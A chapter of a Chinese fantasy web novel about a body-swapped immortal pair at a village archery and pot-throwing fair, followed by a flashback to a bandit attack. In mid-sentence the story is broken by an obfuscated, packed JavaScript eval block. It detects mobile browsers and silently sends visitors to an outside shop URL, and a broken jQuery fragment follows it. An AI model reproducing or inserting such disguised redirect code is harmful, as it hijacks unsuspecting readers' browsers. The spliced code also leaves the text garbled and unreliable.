时维九月,序属三秋。凉风吹过肌肤时,带着些许冷意,却远远达不到令人颤栗。要白仞说,便是古人所言的“轻寒正是可人天”。
平阳集会是附近村镇难得的盛事。
叶无竟看到江岸边的石堤上,有许多年轻的郎君摩拳擦掌、蓄势待发,对面的小娘子纷纷捂着帕子小声同好姐妹议论着。
忽而他似是想到了什么,转头低声同白仞道:“前辈,容我多嘴问一句。”
“为何这比试项目俱是与武相关,那些擅长吟诗作对的郎君们且不是没了机会?”
难得天气澄和,风物闲美。白仞眯起眼欣赏,懒洋洋回答道:“当然有呀,三月中旬的那场便是文试。”
她正欲细说,江上却传来厚重的鼓声,只听到立在船边的一个汉子,使着那把粗犷的嗓子大声吼道:“辰时三刻已到,比赛开始,报名的郎君请来江边东岸!”
白仞拍了拍叶无竟左肩,调笑道:“乖乖等我回来哦。”
只瞧湖对岸有人将鸽子系上鸽铃,装进葫芦,挂在树干枝条上。微风吹过,那细嫩的枝叶便随风摆动,瞧上去很是有些难度。
挂好葫芦的那一刻,叶无竟听到身旁有少女惊叹:“这也太难了吧,阿兄若是赢不了可该如何是好,我可是为此专程来平阳一遭的。”
他凝眉去瞧,竟是晨时坐在大堂的那梳着双环髻的少女。
少女与他对上目光,十分自来熟地挤了过来:“这位仙子姐姐,我姓李,唤作诗简,叫我简娘便好。今日在客栈我就瞧见姐姐你了。”
她目光盈盈,满眼都是对白仞这副皮相的欣赏。
叶无竟从未遇到这方面的夸赞,他僵硬地一点头,报出这副身躯真正主人的名字:“多谢这位小娘子,我名白仞。”
“‘托身白刃里,杀人红尘中。’都道人如其名,可见姐姐是位性情中人。”
叶无竟没顾得上解释此“刃”非彼“仞”,他只是忽而想到,灵素真人那日还同他说过,白仞此名是她死后为自己取的。
有这样来处的名字,她生前也曾是为挚友两肋插刀,义薄云天之人吗?
思及此处,他抬头望向湖岸对面的人。
那明明是他曾经最熟悉的身体,此刻却是一个陌生的魂魄使用着它。
她挽弓、搭箭,动作行云流水,一气呵成。一看便是常习武的人。
扎起的高马尾垂在身后,更显得身姿利落,年少意气。
眼前人的面容明明不是她,他却仿佛看到那红衣飘扬、惊才绝艳的女子提着长弓,凤眼含着笑意,近乎随意地射出那一箭。
“咻——”
于是附近不少人都看到,那箭矢划破长空,径直穿过葫芦,却仍去势不减,射入树干深处才停下来。
鸽子轻盈跃出,扇动翅膀时铃声不绝,听上去很是灵动。
此项比试以鸽子飞出高度判定胜负,是三场赛事中最看重运势的。稍有不慎,那鸽子便受惊乱飞。
怎料白仞准头太好,那白鸽几乎没受什么惊吓,拍拍翅膀便飞向高空。
打眼看去,属它飞得最高。
周围顿时发出潮涌般的欢呼声。
仙人耳力极佳,只附近一米内,叶无竟便听清至少有三五个小娘子窃窃私语,大多是谈论白仞当真是技惊四座、得心应手。
还有些是犯了花痴,想着以后也找一位这样的郎君。
谁知等到下一环节,白仞更是狠狠出了一把风头,一时成了众人追捧对象。
与贵人们在宫廷里所消遣的不同,民间投壶并没有“三请三让”的繁琐礼仪,用的是竹制的贯耳壶。
这项活动无甚门槛,擅长者众多。
为了赢得比试,多少郎君纷纷拿出压箱底的绝技,不仅要中,还要中出花样儿来。
叶无竟正专心看着,忽而李诗简兴奋地拽着他的衣袖:“仙子姐姐,快瞧,我兄长用的这招唤作骁箭,前面那些个儿盲投、反投的必比不上他,这次头彩非他莫属。”
原来那箭矢本已落壶,竟又反弹出来,再次落入壶内。
围观人爆发出贺彩,李诗简眼里的兴奋劲儿都快压不住了:“我哥他这招成功的次数可不多,这次可真是时来运转,天助我也。”
她本以为信誓旦旦能将首名收入囊中,可下一位出场的郎君便打破了这美好幻想。
这位公子约莫而立之年,一身白袍,仙风道骨。他掷出的箭矢同样在落壶后反弹,不多不少,正正好挂在壶边的壶耳处,远远望去,竟呈现出一种“宝剑悬挂”之感。
这技术与她兄长显然不分上下甚至隐隐技高一筹。李诗简的心一下子就悬了起来。
叶无竟却体会不到她的多愁善感,他本就是来看热闹的,此刻也只关心白仞的结果。
见她仍旧不慌不忙,去备好的壶里取了数只箭矢,随意地在手里掂了掂,并不细细瞄准,只粗略比划了一下,便挥袖一并掷出。
众人见她动作并不看好,也是,人的天赋、时间与精力都是有限的,一样好容易,样样好可难。
带着这样的想法,去瞧壶中结果,却听有人惊呼:“快看那箭落下的形状。”
只见二十来只箭矢纷纷挂于壶耳,看箭矢方向,同样是中壶后反弹而出的。更重要的是远远望去,这箭矢排列的造型竟似莲花盛开。
是极为罕见的“莲花骁”!
有人断言道:“这位公子先是夺得射柳头彩,如今又赢得投壶,我看这次那珍珠头面非他莫属!”
叶无竟也觉得白仞是奔着彩头去的,谁知这边儿投壶刚结束,他便收到了对方的传音:
“收拾收拾东西,我们走。”
他不明所以,疑惑地追问过去:“前辈,我们不去比试下一轮了吗?”
白仞却只是传音道:“郊外,东方向,三十里外,你在那里等我。”
本以为是出了什么事,等到了地方,叶无竟才发现此处虽崇山峻岭、地势险要,但目之所及并无异常之处。
不远处,白仞身姿慵懒,倚在一旁树干处,低头似是在思考些什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723019|208757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他敛眉,上前问道:“前辈?”
白仞头也不抬:“你来了?”
她往地上一指,言简意赅道:“我当初便是在此地遇到的赭鞭。”
注意到她的措辞,叶无竟重复:“遇到?”
而后才想起,赭鞭便是当初她对付真火的那条鞭子。
“是。”白仞轻声肯定,“我总觉得我们这次身体互换与它有关。赭鞭和别的法器不一样,它更有灵性、也更有脾气一点。”
“我是十六岁的时候遇到它的。”
眼前的景色忽而褪去色彩,人间寒暑轮回不断推翻向前。枝叶枯了又绿,绿了又枯,终还是发出新芽,径直来到了那个少女孤身一人、纵马踏花的那日。
连日阴雨,好容易等来了一日晴爽天。
少女身着利落的胡服,束起长发,骑在骏马上。远远看去,像个意气风发的小郎君。
她是特意出来骑马踏青的。
路过此处时,远处隐隐有惨叫声传来,若有若无,不太清晰。但她还是放慢了速度,倾耳细听。
就在此时,一声尖叫传入耳中,声音不大但格外清晰,少女显然坐不住了。
她拔下马鞍旁挂着的长剑,大着胆子孤身一人,向着声源处走过去。
拨开草丛,却仿佛看到了人间炼狱。
几十个匪徒似的汉子正举刀同一群健壮男子厮杀,看身形打扮似乎是镖局的护卫。老弱妇孺惊慌失措,纷纷跳下马车,向着四面八方奔走逃命。
更远处,还有几个幼童躺在地上,一动不动,眼睛大睁,身下却洇出大片的鲜血,连土壤一并成了深褐色。
她心底凉了一瞬,先前听到的惨叫,很可能就是他们的。
少女收回目光,去望马车上的旗子,果不其然,上面刻着一个“林”字。
竟是这一带口碑最稳的林氏镖局。
她的血陡然间冷了,身体却木然定在原地,迟迟不动。她在心里不断告诫自己,此刻趁着无人赶紧走,还能顾全己身性命。
那帮匪徒一看便不是寻常人,连最厉害的林氏镖局也隐隐露出败风,她冲上去除了送死毫无意义,此刻不走,更待何时!
可另一个更深的念头盘旋在她心中。
我未必打不过这些人。
她的武功和剑法都是外祖母亲自传授的。老人家年轻时是驰骋战场的大将军,英气纵沙场,不肯尝一败。多少有名无名的将军小卒皆死于她的长枪下。
而她在族中几个表姊妹中,一向被夸枪法精妙,最是得了老人家的真传。
外祖母若是知道自己今日退缩了,或许面上不会显现出来,但心里其实是会失望的吧。
毕竟凤母无鸡雏,她身上流着的也是她的血呀。
还有阿娘,她年幼时听爹爹提起过,娘亲手臂上有一道蜿蜒的长疤,是她年轻时遇到一干地痞流氓调戏良家女子,路见不平、拔刀相助时留下的伤痕。
所谓言传身教,家中长辈不是早就亲身演示给她看了吗?